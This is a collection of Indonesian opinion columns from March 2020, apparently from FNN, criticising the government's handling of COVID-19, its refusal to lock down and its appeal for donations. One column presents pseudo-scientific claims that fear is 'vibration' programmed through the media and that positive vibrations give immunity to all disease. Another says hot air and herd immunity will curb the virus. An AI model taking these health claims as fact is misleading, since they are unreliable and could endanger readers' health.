Oleh Hersubeno Arief Jakarta, FNN - Kamis (26/03). Pemerintah akhirnya mulai sedikit lebih jujur. Tidak punya anggaran yang cukup untuk menangani virus corona. Alias tak punya duit! Karena itu pemerintah mengetuk keikhlasan hati masyarakat dan dunia usaha untuk membantu. Akan dibuka rekening sebagai dompet. Wadah untuk menampung sumbangan itu. Dengan catatan kalau masih ada yang mau. Kalau masih ada yang percaya. Pengakuan malu-malu itu disampaikan oleh Menteri Keuangan sekaligus Sekretaris Pengarah Gugus Tugas Penanganan Covid-19 Sri Mulyani. "Pemerintah akan membuka account khusus di BNPB bagi masyarakat, dunia usaha yang ingin menyumbangkan,” ujar Sri dalam keterangan tertulis Rabu (25/3). Sri berkilah, dari segi anggaran, pemerintah sebetulnya siap untuk mendukung proses percepatan penanganan corona. Namun opsi ini dibuka, untuk membantu meringankan beban Anggaran Pendapatan dan Belanja Negara (APBN) pemerintah. Coba perhatikan kosa kata yang digunakan oleh menteri keuangan yang beberapa kali mendapat gelar “terbaik” itu. Pertama “sebetulnya siap mendukung.” Bukan siap melakukan atau menangani. Dengan kata “mendukung” seolah itu bukan tanggung jawab pemerintah sepenuhnya. Kedua “untuk membantu meringankan APBN.” Artinya mengakui APBN kita sudah kedodoran. Pengakuan ini setidaknya mulai membuka tabir atas fakta-fakta yang coba ditutup-tutupi pemerintah. Mengapa pemerintah sangat terlambat dalam mengantisipasi dan mengambil kebijakan penyebaran virus corona? Mengapa Presiden Jokowi bersikukuh tidak mau melakukan lockdown? Kantong kosong, tapi punya ambisi gede, membuat pemerintah telmi. Telat mikir. Jadilah semua keputusan dikaitkan dengan masalah ekonomi. Padahal ini masalah kemanusiaan. Melindungi dan menyelamatkan ribuan jiwa anak bangsa. Masalahnya jadi runyam karena kemudian dikait-kaitkan dengan masalah politik. Ada hantu yang sangat menakutkan pemerintah akan jatuh atau dijatuhkan bila sampai melakukan lockdown. Semoga masih ada yang mau dan percaya Dalam kondisi yang normal, ketika pemerintah tidak mengalami krisis kepercayaan, permohonan bantuan itu harusnya disambut dengan tangan terbuka. Harusnya masyarakat berbondong-bondong membantu pemerintah ditengah kesulitan seperti saat ini. Toh ini masalah bangsa dan negara. Bukan hanya urusan pemerintah semata. Tanggung jawab bersama! Ada 100 orang terkaya di Indonesia yang hartanya berjibun. Tidak habis dimakan 7-10 bahkan mungkin 100 keturunan. Harta 4 orang terkaya saja setara dengan 100 juta warga miskin. Berdasarkan data yang dimiliki oleh Dirjen Pajak, ada 565.360 rekening dengan saldo minimal Rp 1 miliar. Sementara yang memiliki saldo minimal Rp 5 miliar sebanyak 100.353 rekening. Total jumlah rekening sebanyak 295, 02 juta dengan jumlah simpanan perbankan mencapai Rp 5.984, 42 triliun. Saldo tabungan 100 ribu orang itu secara prosentase mencapai 47. 52% dari total simpanan di perbankan. Jadi bila dihitung-hitung, 100 ribu orang itu memiliki dana likuid lebih besar dibandingkan APBN tahun 2020 sebesar Rp 2.540 trilyun. Itu baru bicara dana mereka yang tersimpan di dalam negeri. Belum lagi bila ditambah dengan dana mereka di perbankan luar negeri. Mudah-mudahan belum pada lupa. Dulu kan ada seorang capres bernama Prabowo Subianto menyebut dana WNI yang diparkir di luar negeri sebanyak Rp 11.000 trilyun. Diperkirakan jumlah sesungguhnya jauh lebih besar. Angka yang disebut Prabowo sangat masuk akal. Pada tahun 2014 Lembaga konsultan McKinsey & Company memproyeksikan, dana orang kaya Indonesia yang diparkir di luar negeri mencapai sekitar US$ 250 miliar pada 2016. US$ 200 miliar diantaranya diparkir di Singapura. Dengan kurs lebih dari Rp 16 ribu saat ini, tinggal dikalikan saja berapa jumlahnya. Lebih dari Rp 4. 000 trilyun. Jauh lebih besar dari APBN. Itulah menjelaskan mengapa banyak orang kaya Indonesia saat ini kabur berbondong-bondong, ngumpet di Singapura. Mereka bisa dengan aman menikmati tabungan di negeri jiran itu, sementara banyak rakyat miskin yang bingung hari ini mau makan apa. Perilaku mereka jelas beda dengan pengusaha lokal Nurhayati Subakat. Pemilik perusahaan kosmetik Wardah itu, tanpa dihimbau langsung menyumbang Rp 40 miliar membantu sejumlah rumah sakit dan tenaga medis. Sandiaga Uno melalui program OK OCE menjanjikan akan membantu keluarga yang pencari nafkahnya positif infeksi. Mereka tidak perlu takut kelaparan. Bagaimana dengan taipan dan konglomerat lain? Hanya pengusaha Tommy Winata yang sudah menyumbang tiga rumah sakit lapangan. Yayasan Budha Tzu Chi bersama Kadin sedang patungan. Targetnya mengumpulkan dana sebanyak Rp 500 miliar. Sejumlah selebgram juga menggalang dana untuk membantu korban virus Corona. Beberapa lembaga amal seperti Baznas, termasuk Front Pembela Islam (FPI) yang sering dituduh radikal, tanpa ba. Bi bu....langsung turun tangan. FPI melakukan penyemprotan disinfektan. Di Tangerang, Banten FPI malah membantu menyempot dua gereja. Secara diam-diam, tidak dipublikasikan media massa, banyak warga yang mengambil inisiatif membantu tetangga kiri kanan yang kesusahan. Cuma kalau berharap mereka berbondong-bondong membantu menyumbang pemerintah, rasanya kok agak sulit ya. Semoga kesimpulan ini salah. Pemerintah sudah kehilangan kredibilitas. Public distrut sudah meluas. Bagaimana mau membantu dan percaya pemerintah kesusahan? Dalam situasi semacam ini saja Jubir Menko Maritim Luhut Panjaitan menyampaikan, proyek pembangunan ibukota baru jalan terus. Kantor Bappenas melalui akun resminya malah pamer optimalisasi digital di calon ibukota baru. Wajar kalau netizen ngamuk-ngamuk, maki-maki. Langsung menyemprot habis pemerintah. Berarti pemerintah sebenarnya masih punya duit dong? Cuma penanganan virus corona bukan prioritas utama? Ibukota baru jauh lebih penting dibanding ribuan nyawa yang terancam virus dan mati kelaparan. Ngotot mau bangun ibukota baru, giliran ada bencana kok minta-minta sumbangan. SITU SEHAATTTT? End Penulis wartawan senior.

Pak Presiden, Sampai Kapan Jakarta Tak Dilockdown?

By Dr. Margarito Kamis Jakarta FNN – Rabu 25/03). Betul sekali, Presiden telah memiliki sikap soal lockdown. Sikap Presiden itu telah disampaikan ke Pak Jendral Doni Monardo, Kepala Gugus Tugas Percepatan Penanganan virus Corona. Pak Doni juga telah mengumumkannya. Jelas sudah. Tak ada lockdown dari Presiden. Pertimbangan sosial budaya, nampak mendominasi sikap Pak Presiden. Pertimbangan sosial budaya tersebut, menurut UU Nomor 6 Tahun 2018 Tentang Kekarantinaan Kesehatan, hanya salah satu pertimbangan. Bukan satu-satunya. UU ini mempertalikan pertimbangan sosial budaya dalam satu nafas dengan pertimbangan lainnya. Pasal 11 ayat (1) mengatur Penyelenggaraan Kekarantinaan Kesehatan pada Kedaruratan Kesehatan Masyarakat dilaksanakan oleh “Pemerintah Pusat” (tanda petik dari saya) secara cepat, dan tepat berdasarkan besarnya ancaman, efektifitas, dukungan sumberdaya, dan teknik operasional dengan mempertimbangan kedaulatan negara, keamanan, ekonomi sosial, dan budaya. Mungkin saja Pak Presiden tidak tega melihat tetangga atau sanak famili tak bisa saling jumpa pada acara tertentu. Watak guyub yang menjadi ciri bangsa Pancasila ini, mungkin akan terganggu bila lockdown. Tetapi masuk akalkah nalar itu ditengah keadaan sebahaya sekarang ini? Itu soal lain. Sudahlah jangan dipikirkan dulu. Presiden, memang satu-satunya pejabat di negara ini yang memegang kewenangan menyatakan lockdown. Pejabat lain, siapapun dia, tidak punya kewenangan itu. Apalagi pemerintah daerah. Lebih tidak bisa lagi mereka. Ini masalahnya. Sayangnya, rakyat itu adanya di daerah, yang dipimping langsung oleh Kepala Daerah. Rakyat di daerah-daerah itu kini terus terkena virus corona ini. Di daerah jumlah orang yang diawasi, orang yang benar-benar terinfeksi, dan yang mati terus bertambah dari hari ke hari. Mereka yang terinfeksi dan mati, memang belum sampai ribuan. Yang terinfeksi baru 686 orang. Yang mati baru 55 orang (Republika.co.id, 25/3/2020). Jakarta sebagai episentrum penyebaran virus ini telah terdapat 307 kasus. Sebanyak 29 orang telah meninggal dunia. Jawa Barat 59 kasus, dengan 9 orang meninggal dunia. Banten 47 kasus, dengan 3 orang meningal. Jawa Timur 41 kasus, dengan 1 orang meninggal dunia (Tirto, 24/3/2020). Jumlah yang mati karena Corona, memang belum sebanyak petugas PPS yang mati dalam pemilu kemarin. Apa pemerintah menuggu ribuan orang mati dulu baru kesampingkan pertimbangan sosial budaya untuk lockdown? Simpan dulu soal itu. Presiden punya nalar juga. Mungkin Presiden kesampingkan lockdown. Termasuk untuk Jakarta agar demokrasi bisa terus hidup di tengah corona. Mungkin ini cara Presiden hormati hak setiap orang. Mungkin ini juga cara Presiden menumbuhkan tanggung jawab individu rakyat negeri ini. Untuk itu, ya terimalah semua kebijakan ini sebagai konsekuensi presidensial. Bagaimana nalar Presiden itu? Anehkah? Jangan fokus disitu. Biarkan saja nalar Presiden itu bekerja secara alamiah. Sekali lagi, begitulah sistem presidensial bekerja. Yang harus rakyat lakukan adalah tidak ikut memperparah keadaan kesehatan masyarakat saat ini. Keadaan kesehatan masyarakat nyata-nyata, faktual di negeri ini benar-benar sangat membahayakan. Jakarta, Banten, Jawa Barat, dan Jawa Timur betul-betul tak bisa disepelekan, apapun alasannya. Itu sebabnya Presiden harus punya sikap jelas dan tegas. Orang harus dipaksa secara official oleh negara. Dipaksa dengan keras untuk terus berada di rumah. Tidak ada orang di dunia ini yang mau berada di rumah saja sepanjang hari. Sepanjang hari dalam seminggu, apalagi dalam sebulan. Tetapi keadaan menuntut adanya kenyataan itu. Lalu mau apa? Hak asasi? Nanti dulu. Itu urusan nomor sekian. Lambat dan tidak fokus sejak dari awal, mengakibatkan Italia, Perancis dan Iran babak belur. Australia, Yordania, dan Amerika lain. Negara yang disebut terakhir sangat responsif. Mereka disiplinkan rakyatnya dengan cara yang keras. Yordania berlakukan jam malam. Amerika malah kerahkan National Guard. Sengawur-ngawurnya orang kita, terlihat cukup disiplin. Mereka nyata-nyata sami’na wata’na pada imbauan pemerintah dan pemerintah daerah serta dokter. Imbauan tangguhkan sementara Sholat Jumat, tunda acara keagamaan lain, Nyepi tak dirayakan, dan Isra Mi’raj juga. Semuanya dipatuhi ko. Masih juga dibilang tak disiplin? Ini hidup bernegara, hidup dengan aturan. Suku terasing yang hidup dihutan-hutan saja punya aturan. Apalagi bernegara. Dalam bernegara, pemerintah memikul kewajiban dan tanggung jawab urusi rakyat. Mengapa begitu? Supaya orang-orang yang yang kepala batu, yang cuek-bebek, yang serius, yang memiliki sensitifitas sosial tinggi, yang berkecukupan dan yang pas-pasan bisa hidup berdampingan secara bermartabat. Itu satu di antara beberapa alasan negara ini diciptakan. Itu alasan pemerintah dijadikan satu-satunya organ mengurus rakyat. Hakikat mengurus rakyat itu menyejahterakan, menghadirkan rasa lega, rasa aman dalam semua aspek. Bukan membiarkan rakyat tercekam ketakutan tidak makan, terjangkit firus apa tidak, bagaimana menghadapi virus dan sejenisnya. Rakyat tak punya hak dan kewajiban menyelenggaran tindakan pemerintah. Kalau rakyat lakukan itu, maka dipastikan ada masalah besar dalam negara itu. Mengapa? Berlaku hukum rimba. Yang besar, yang berkecukupan, yang kuat akan menelan dan menindas yang lemah, yang pas-pasan. Sesinting apapun orang, tidak ada yang mau cara itu terjadi. Bagus, walau terlambat, setelah orang terinfeksi bergelimpangan, dan mati, kini pemerintah bergerak. Entah cepat atau gagap, pemerintah beli obat. Juga beli Alat Perlindungan Diri (APD). Sebagian telah disistribusikan ke daerah. Masker, entah apa jenisnya, juga bakal disediakan dalam jumlah jutaan. Mudah-mudahan cukup, dan cepat sampai ke semua daerah, sehingga bapak-bapak dan Ibu-ibu dokter, serta bapak-bapak dan ibu-ibu petugas kesehatan, termasuk bapak dan ibu-ibu cleaning service tidak menjadi sasaran terjangan virus yang tak kenal ampun ini. Mereka semua yang difrontline. Harus dipastikan tak terlilit kecemasan akibat kekurangan APBD. Harus begitu. Keluhan dari Kepala Dinas Kesehatan Lampung bahwa mereka cuma dapat 20 APD (Republika, co.id. 24/2020), semoga tidak bisa terjadi lagipada daerah lain. Semoga, amin dan amin. Sebab jumlah 20 APD mau dipakai untuk berapa hari? Memangnya APD itu dipakai sepanjang hari, berminggu-minggu? Wajar kalau Pak Jendral Doni heran masih ada RS yang belum terima APD. Padahal APD sudah didistribusikan, (JPNN, 24/3/2020). Ini soal memang, dan harus dapat diatasi secepat mungkin. Bagaimana Pemda bersikap dan bertindak lebih jauh? Pakai saja anggaran daerah yang tersedia di APBD, khususnya anggaran di Pos Tak Terduga. Pakai saja itu. Kalau tak cukup, segera bicara dengan DPRD lalu ambil keputusan. Pembicaraan dengan DPRD harus dituangkan ke dalam satu berita acara. Taati arahan dari Mendagri. Beli dan siapkan semua yang perlu untuk mengurusi rakyat. Lakukanlah itu wahai para Pemda. Lakukanlah tindakan disinfeksi, dekontaminasi secara klinis. Bagi yang belum lakukan rapid test. Segera lakukan secepatnya. Yang belum lakukan infektan. Juga segera lakukan. Lakukan sesuai prosedur yang tersedia. Jangan tunggu arahan dari Pemerintah Pusat. Pemerintah Pusat lagi banyak urusan. Masalahnya beli dimana? Apa pemerintah Pusat bisa bantu beli? Apakah barang-barang itu, entah apa namanya, baju dan celana, kacamata atau apalah namanya itu, diproduksi di dalam negeri? Kalau tidak, bagaimana protokol kerjasama Pemerintah Pusat dengan Pemerintah Daerah untuk masalah ini? Entahlah. Sejauh ini tak ada berita itu di media. Pemerintah Pusat lagi urus realisasi relaksasi kredit-kredit miliyaran, ratuan juta, sampai yang kecil-kecil. Mereka sedang pastikan realisasi relaksasi kredit Ojol. Mereka juga sedang atur skemma menambah uang untuk kelompok orang miskin. Alakadarnya. Bagaiman skema transfe dan sampai ke tangan orang miskin? Itu soal lain. Itu perkara rumit tersendiri. Jangan tanya itu dulu. Kurs rupiah terhadap dollar Amerika, dalam kenyataannya semakin hari semakin melemah. Ini masalah juga. Mengapa begitu? Saya tidak tahu. Tetapi urusan-urusan itu, jelas tak bisa disepelekan. Untuk sejumlah alasan historis, penurunan nilai tukar selalu memaatikan kalau pemerintah-pemerintah yang tak punya kapsitas. Yang tidak bisa Pemda lakukan adalah Lockdown. Ini kewenangan Presiden. Tidak didelegasikan. Jangan ngaco, jangan ngawur. Rencana Gubernur Enembe utk lockdown Papua itu sangat Bagus. Tetapi apa pertimbangan teknis kesehatannya? Maaf Pak Gubernur Enembe, anda tak punya kewenangan itu. Ini kewenangan mutlak Pak Presiden. Sudahlah lupakan dulu soal-soal itu. Sekarang mari pikirkan sampai kapan Jakarta tak lockdown? Toh lockdown tidak harus dilakukan di seluruh Indonesia. Lockdown juga tak harus sewilayah provinsi, kabupaten atau kota. Secara hukum lockdown bisa dilakukan secara parsial. Bisa seprovinsi, sekota, dan sekabupaten. Bahkan bisa satu kecamatan saja atau satu kelurahan atau beberapa kampung saja. Apa Jakarta yang menjadi episentrum virus laknat ini masih bisa dianggap tak membahayakan kesehatan masyarakat? Tak memenhi persyaratan teknis menurut UU Nomor 6 Tahun 2018 untuk Lockdown? Apa iya? Jangan entengkan situasi ini. Jangan salah hitung dan timbang. Jangan telat mikir, apalagi takabbur dan sombong. Apa pemerintah punya peta sebaran, dan derajat bahayanya? Tidak cukupkah kenyataan sejauh ini dipertimbangkan untuk mengakhiri kebijakan sekarang. Menggantikannya dengan Lockdown Jakarta saja dulu? Kepastian keamanan kesehatan masyarakat macam apa yang hendak dikirimkan Pemerintah Pusat? Bukan Pemda ke masyarakat Jakarta, semuanya, ditengah corona yang terus mengganas ini? Anies telah habis-habisan sejauh ini. Anies tidak punya kuasa untuk lockdown. Ini kewenangan Presiden. Akhirnya sembari berada ditengah ketidakpastian ini, mari tetap tinggal dirumah. Jangan keluyuran, jangan bandel, jangan keras kepala, jangan pakai otak alakadarnya. Ini virus bukan main berbahaya. Bayangkan saja, perlakuan terhadap jenazah akibat terjangkit virus ini beda. Masa Allaah. Subhanallah. Mengerikan sekali. Disiplin, disiplin, disiplin dan disiplin tinggal dirumah dan jaga jarak fisik antar sesama. Ikhtiar tanpa reserve. Rajin cuci tangan, sampai pemerintah dapat beri kepastian tentang cara jitu menangani corona laknat ini. Penulis adalah Pengajar Hukum Tata Negara Universitas Khairun Ternate

Murahnya Nyawa di Negeri +62 Ini

By Tony Rosyid Jakarta FNN- Rabu (25/03). Tahun lalu, 700 lebih petugas pemilu mati. Belum sempat hilang dai ingatan kita, sejumlah pendemo juga mati. Dan kini, 56 orang mati. Kali ini karena covid-19. Day to day angkanya terus naik. Bukan satu, tapi bisa sampai puluhan per hati. Kepada siapa rakyat berharap pertolongan? Kepada Tuhan, kata para agamawan. Itu pasti! Itu juga pasrah namanya. Apakah kalau sudah pasrah persoalan jadi selesai? Tidak juga. Karena tak ada yang tahu pasti bagaimana mekanisme takdir itu berjalan. Yang pasti, justru jumlah positif Covid-19 terus bertambah. Kemarin (24/3) ada 686 yang positif. Dan akan terus bertambah setiap harinya. Begitu juga dengan yang mati. Mungkin diantara mereka ada yang anda kenal. Banyak pihak mempertanyakan akurasi angka positif Covid-19 di Indonesia. Minimnya peralatan dan lambatnya penanganan membuat asumsi bahwa jumlah orang yang terinfeksi jauh lebih besar dari data yang diumumkan. Kecurigaan ini muncul dari jumlah kematian di atas delapan persen. Padahal, rate-mortality global hanya sekitar empat persen. Kalau saja kematian akibat covid-19 di Indonesia dibuat rata-rata empat persen, maka berarti jumlah orang yang positif Covid-19 sudah di atas 20.000 orang. Mereka tak terdeteksi, karena mungkin tak ada gejala yang nampak. Hanya 15% saja yang terdeteksi. Sisanya 85% lagi berkeliaran dan melakukan kontak sosial di luar sana. Sebagian besar rakyat sekarang panik. Itu pasti. Dalam situasi seperti ini, mereka penuh harap kepada pemerintah. Sebab di tangan pemerintah ada kebijakan dan fasilitas yang bisa digunakan untuk menyelamatkan nyawa rakyat. Harapan seperti ini wajar dan wajar. Anda yang pilih orang-orang itu untuk menduduki posisi di pemerintahan. Anda juga telah menititipan pajak anda kepada mereka. Tugas mereka melayani anda? Termasuk membantu anda selamat dari covid-19? Pemerintah sudah bergerak. Tapi sayang, sangat lambat dan sangat lambat. Terengah-engah. Gagap, dan kelihatan sangat nggak siap. Diantara faktornya, karena pemerintah mengawali dengan asumsi dan sikap yang salah. Menganggap covid-19 nggak akan masuk ke Indonesia. Covid-19 nggak bisa masuk karena nggak ada ijinnya. Covid-19 sirna oleh doa qunut. Nasi kucing dan empon-empon membuat orang Indonesia kebal dari Covid-19. Enjoy aja, dan lain-lain. Ini sikap nggak ilmiah dan terlalu gegabah. Gak pantas keluar dari otak para pejabat publik. Sekarang kena batunya. Sebagai akibatnya, jumlah korban dan kematian makin kencang angkanya. Jauh meninggalkan langkah pemerintahan kita. Pek.. Pek.. Pek... Pek... Pek... Korban berjatuhan. Dan pemerintah terlihat masih sibuk ngardusin APD (Alat Pelindung Diri) di tengah kematian puluhan anak bangsa ini. Katanya impor, kok ada yang tertulis di kardus Made In Indonesia? Yang ini jangan disoal lagi! Diem aje luh! Yang penting barangnya sudah ada. Itu bagian dari langkah serius. Mesti kita support dan apresiasi. Saatnya bangsa ini kompak menghadapi ujian bersama. Rakyat berharap-harap cemas. Ingin pemerintah pusat melakukan langkah-langkah yang lebih cepat lagi. Lebih tepat lagi dan lebih terukur. Apa itu misalnya? Pertama, ijinkan daerah, khususnya epicentrum covid-19 melakukan lockdown lokal. Lebih baik terlambat, dari pada tidak sama sekali. Ini situasi darurat! Jakarta misalnya, jumlah positif Covid-19 yang terparah. Angka yang meninggal terus naik signifikan. Gubernur minta warga DKI diam di rumah. Konsekuensi ekonominya, Gubernur siapkan bantuan Rp 1,1 juta untuk warga miskin Jakarta. Nganggur di rumah, digaji. Pemerintah Pusat mesti ikut bantu. Dana dari mana? Ambil dari anggaran kereta cepat Jakarta-Bandung, misalnya. Pakai dulu dana yang akan digunakan untuk promosikan Ahok di Ibu Kota Baru. Bila perlu, para taipan paksa untuk bantu. Tiru Tommy Winata (TW) yang sudah memberi contoh bantuan. Yang lain, jangan malah lari ke Singapore. Kalau langkah ini dilakukan, masyarakat akan stay di rumah. Nggak keluyuran ke mana-mana. Tugas aparat keamanan adalah menertibkan warga yang masih jalan-jalan keluar rumah, dan beraktifitas di tempat keramaian. Kecuali untuk keperluan-keperluan urgent sesuai kriteria yang ada di peraturan. Hentikan transportasi publik. Stop KRL, MRT, LRT dan tutup Stasiun Busway. Jika lockdown lokal di Jakarta diputuskan, dan Pemerintah Pusat ikut menyiapkan bantuan logistik, maka program social distancing berjalan. Yang keluyuran keluar, tangkap. Tidak lagi imbauan, tetapi tegakkan aturan dengan tegas. Kedua, lakukan test massal kepada mereka yang dinyatakan ODP dan PDP. Semuanya, tanpa terkecuali. Pastikan mereka positif atau negatif. Jangan biarkan mereka berkeliaran dan melakukan interaksi dengan orang lain tanpa kejelasan status. Australia telah melakukan test massal sebanyak 80 ribu orang. Korea Selatan melakukannya terhadap 250 ribu orang. Jakarta? Atas bantuan alat test dari Yayasan Buddha Tzu Chi akan melakukan test massal sebanyak 100 ribu orang. Sebanyak 250 orang sudah dimulai di Jakarta Selatan. Daerah lain? Mestinya pemerintah pusat menyiapkan alat test, tenaga medis dan biaya yang cukup untuk melakukan test massal ini. Karena tidak semua daerah berkemampuan seperti Jakarta. Ketiga, siapkan ruang isolasi yang cukup, beserta tenaga medis yang memiliki kelengkapan peralatan sesuai standar kesehatan. Sehingga, tak ada satupun calon pasien yang ditolak di rumah sakit dan meninggal di jalanan. Pastikan mereka terlayani dengan cepat dan tepat. Isolasi ODP dan PDP. Jauhkan mereka dari interaksi dengan orang lain. Langkah-langkah ini menjadi pilihan yang tidak bisa dikesampingkan. Harus diambil secepatnya. Nggak ada kata terlambat. Jika tidak, kedepan kita akan semakin sering menyaksikan orang-orang jatuh di jalan, pek...pek... pek... langsung mati. Disitulah kita baru sadar, betapa gelombang badai Covid-19 telah membuat nyawa di negeri +62 ini begitu murah. Itu kemungkinan terjadi setelah banyak kolega kita mati karena lambatnya penanganan dari negara. Penulis adalah Pengamat Politik dan Pemerhati Bangsa

Fenomena Program Pikiran, "Jangan Biarkan Ketakutan Kuasai Diri Kita"

By Komjen Pol. Drs. Dharma Pongrekun MM. MH. Jakarta FNN – Rabu 25/03). Salam damai sejahtera untuk kita semua. Sebagai anak bangsa, saya merasa terbebani dengan situasi yang melanda bangsa kita saat ini. Apa sebenarnya yang sedang terjadi? Saya yakin jika lebih banyak yang memahami, maka kita sepakat bahwa tidak seharusnya kita menjadi bagian yang turut memuluskan program “mereka” terhadap bangsa yang kita cintai ini. Yang sedang terjadi adalah penularan “Bad Vibration Tsunami “ melalui “pikiran”. Kita dibuat kewalahan dan merasa tidak berdaya. “Bad Vibration Tsunami” disebarkan berulang-ulang dan terus menerus melalui perangkat teknologi informasi dan komunikasi yang melekat pada diri kita masing-masing. Perangkat terkonolgi itu dipaparkan secara masif dalam bentuk visual. Manajemen isu digunakan hampir di semua media massa, baik cetak dan elektronik. Termasuk juga media sosial. Semuanya hanya berfokus pada “satu kata”, yang akhirnya dengan pasrah kita terima. Seolah-olah persoalan hidup hanyalah yang satu itu, yaitu "satu kata". Sebenarnya pikiran kita sedang diprogram secara berulang-ulang melalui alam bawah sadar (subsconscius mind program). Mengapa? Agar secara otomatis 95% dari kehidupan kita akan menjadi kenyataan. Apa yang kita lihat, dan kita dengar akan dimainkan berulang-ulang setelah lebih dulu direkam. Alam bawah sadar kita persis seperti “kaset” yang merekam sebuah pengalaman, dan akan memutarnya kembali. Memainkannya berulang-ulang. Demikian pula dengan fenomena yang sedang terjadi saat ini. Pakar Fisika Quantum Dr. Bruce Lipton dan Dr. Bob Proctor mengajak kita memahami rahasia alam semesta. Bahwa sesungguhnya tubuh manusia tidak bisa melepaskan diri dari pengaruh atom. Manusia diciptakan Tuhan dengan kelengkapan fungsi-fungsi. Sebagai transmitter, receiver, amplifier, dan repeater dalam tubuhnya. Kita akan selalu terhubung dengan medan energi. Kita sendiri adalah medan energi yang memancarkan vibrasi kemana pun kita pergi. Tubuh manusia dikendalikan oleh dua unsur utama. Pertama, otak yang menyumbang 5%. Kedua, sel yang menyumbang 95%. Karena persepsi adalah pengendali sel biologi, maka kita harus membangun "Belief System" dalam hidup, agar berdaya untuk "mendisiplinkan" persepsi kita. Sekali lagi, sel kita dikuasai oleh persepsi yang diprogram oleh alam bawah sadar kita masing-masing. Persepsi yang terbangun akan menentukan kuat lemahnya tubuh kita. Jika vibrasi positif merangsang sel memproduksi hormon positif (endorfin, oksitosin, dopamin dan interferon) yang membuat imun tubuh kita bekerja baik. Memberikan kekebalan terhadap segala penyakit atau masalah apapun, maka vibrasi negatif melakukan kebalikannya. Vibrasi negatif yang sering terjadi, dan dibiarkan berulang-ulang akan menjadikan posisinya semakin kuat. Vibrasi negatif yang semakin kuat akan sangat mempengaruhi hidup kita. Pada akhirnya, akan menguasai kita sepenuhnya. Unsur vibrasi negatif yang paling jamak menguasai manusia, lalu yang membunuhnya adalah “ketakutan”. Secara alami, sel-sel tubuh kita akan menyerap apapun vibrasi yang ada. Bergetarnya vibrasi negatif pada pikiran kita akan merangsang sel segera memproduksi hormon beracun (cortisol) yang akan menghancurkan imun tubuh. Seseorang yang sering merasa takut, sebenarnya secara otomatis mengaktifkan persepsi vibrasi negatif dari dalam dirinya sendiri. Itu bisa terjadi secara rutin, tanpa ia sadari. Parahnya lagi, vibrasi itu pula yang akan terpancarkan ke lingkungan sekitarnya. Jelas ini akan sangat berdampak juga pada sekeliling. Juga berdampak secara negatif. Jangan biarkan vibrasi ketakutan menguasai hidup kita. Kenali diri. Dimana kita saat ini, dan akan kemana setelah ini? Segala realita, termasuk persepsi, adalah urusan pribadi. Tidak boleh ada intervensi pihak lain. Haters will always hate, do self control. Mari kita pancarkan vibrasi kehidupan. Vibrasi yang memberi harmoni. Vibrasi yang menghidupkan sang hidup itu sendiri, dan menjadikannya indah di bawah kendali Tuhan Yang Maha Kuasa. Indonesia bangsa pemenang. Bahkan lebih dari pemenang. Maka inilah saat yang “tepat” untuk membangun hubungan yang intim dengan Tuhan. Situasi inilah yang sejatinya menjadi sebuah kesempatan bagi kita untuk jauh "lebih serius" memuji dan menyembah Tuhan”. Perkatakan “Tuhan, Engkau dahsyat. Engkau yang sanggup melakukan segala kemustahilan. Yang jahat itu pikiran. Lepaskanlah kami dari yang jahat. Engkau berdaulat sepenuhnya”. God Bless Indonesia Forever.

Jika Jawa Babakbelur, Sumatera Perlu Lockdown

By Dr. Syahganda Nainggolan Jakarta FNN – Rabu (25/03). Media online hari ini sudah memberitakan Lukas Enembe, Gubernur Papua akan melakukan lockdown di wilayah Provinsi Papua. Bravo Papua. Langkah itu dilakukan untuk menutup pintu masuk orang-orang tidak masuk ke Papua. Dari berita yang dapat dilihat, keputusan Enembe ini sudah disetujui Panglima Militer di sana. Namun, keputusan pastinya akan diumumkan Rabu depan. Karena Enembe harus bernegosiasi dengan Jokowi. Melakukan lockdown sudah ditentang Jokowi sejak awal. Pikiran tidak melakukan lockdown mempunyai dua dasar. Pertama, lockdown akan menghancurkan perekonomian. Kedua, lockdown tidak lebih baik dari "herd immunity and social distancing". Namun, dalam geograpi Indonesia yang luas dan beragam, seharusnya karakteristik daerah dapat diteliti lebih spesifik, sehingga masing-masing daerah dapat mengukur kepentingannya sendiri. Tanpa melakukan lockdown, namun sebaliknya berharap pada kesadaran masyarakat melakukan "social distancing", sampai sejauh ini harapan itu tidak menjadi nyata. Masyarakat masih berkeliaran tanpa "social distancing". Kontrol terhadap penderita kurang, dan terakhir "front liner" dokter dan perawat serta pekerja medis lainnya mulai kewalahan. Kepadatan penduduk Pulau Jawa dengan rata-rata 13.000 jiwa per kilometer persegi. Rata-rata sekitar 15.000 jiwa di bagian baratnya (Jawa Barat, DKI Jakarta dan Banten) membuat salah satu faktor “social distancing” sulit terjadi. Ditambah lagi rendahnya kesadaran masyarakat, dan elit-elit nasional sebagai contohnya, masih terkesan menyepelekan situasi ini. Akhirnya, apa yang dikhawatirkan pada berbagai prediksi, seperti the economist intelligence unit (unit media the Economist) lebih dari 50% masyarakat dunia akan terpapar virus corona ini. Apalagi, di Indonesia yang padat, tidak disiplin, dan kurang punya kemampuan dalam mengelola manajemen kesehatan publik. Kemungkinan untuk terkontaminasi jauh lebih besar. Langkah Enembe perlu diapresiasi. Karena langkah untuk mengisolasi Papua adalah menjaga Papua untuk tetap mengontrol arah zero infection. Papua harus bisa bebas Corona virus. Sekarang atau dalam waktu dekat. Jika Papua bebas Corona, maka itu akan menjadi asset berharga bangsa kita ke depan paska pandemik Corona virus. Bagaimana Dengan Sumatera? Sumatera dengan penduduk 58 juta jiwa dan kepadatan penduduk di bawah 100 jiwa per kilometer persegi merupakan pulau harapan utama setelah Jawa. Sumatera bakal mengalami kelumpuhan nantinya. Pulau Sumatera mempunyai universitas-universitas yang cukup baik untuk menjadi tulang punggung pengembangan sumberdaya manusia kita paska pandemik. Dalam posisi pandemik di Jawa, jika Sumatera bisa diselamatkan, maka daerah Indonesia untuk bangkit bisa dimulai dari sana. Pandemik di Jawa cepat atau lambat akan menjadikan masyarakat di Jawa menjadi gelisah, stress tinggi, cemas, saling curiga. Bahkan bisa mengarah kepada saling membantai. Kemungkinan yang terakhir ini bisa terjadi jika ekonomi memburuk. Kepemimpinan nasional lemah. Daya beli hilang, serta barang kebutuhan pokok sehari-hari hilang dari pasar. Cara menyelamatkan Pulau Sumatera adalah seperti pikiran Lukas Enembe di Papua. Sumatera harus menolak kunjungan manusia luar Sumatera ke sana. Dengan tidak adanya kunjungan, maka upaya "herd immunity dan social distancing" dapat dilakukan. Kenapa? Karena penduduk Sumatera masih mempunyai ruang untuk mencari tempat-tempat memencilkan diri. Caranya dengan berkebun atau melaut. Social distancing atau menjaga jarak dan udara panas akan membuat virus corona tidak mampu menginfeksi banyak orang. Secara ekonomi, penduduk 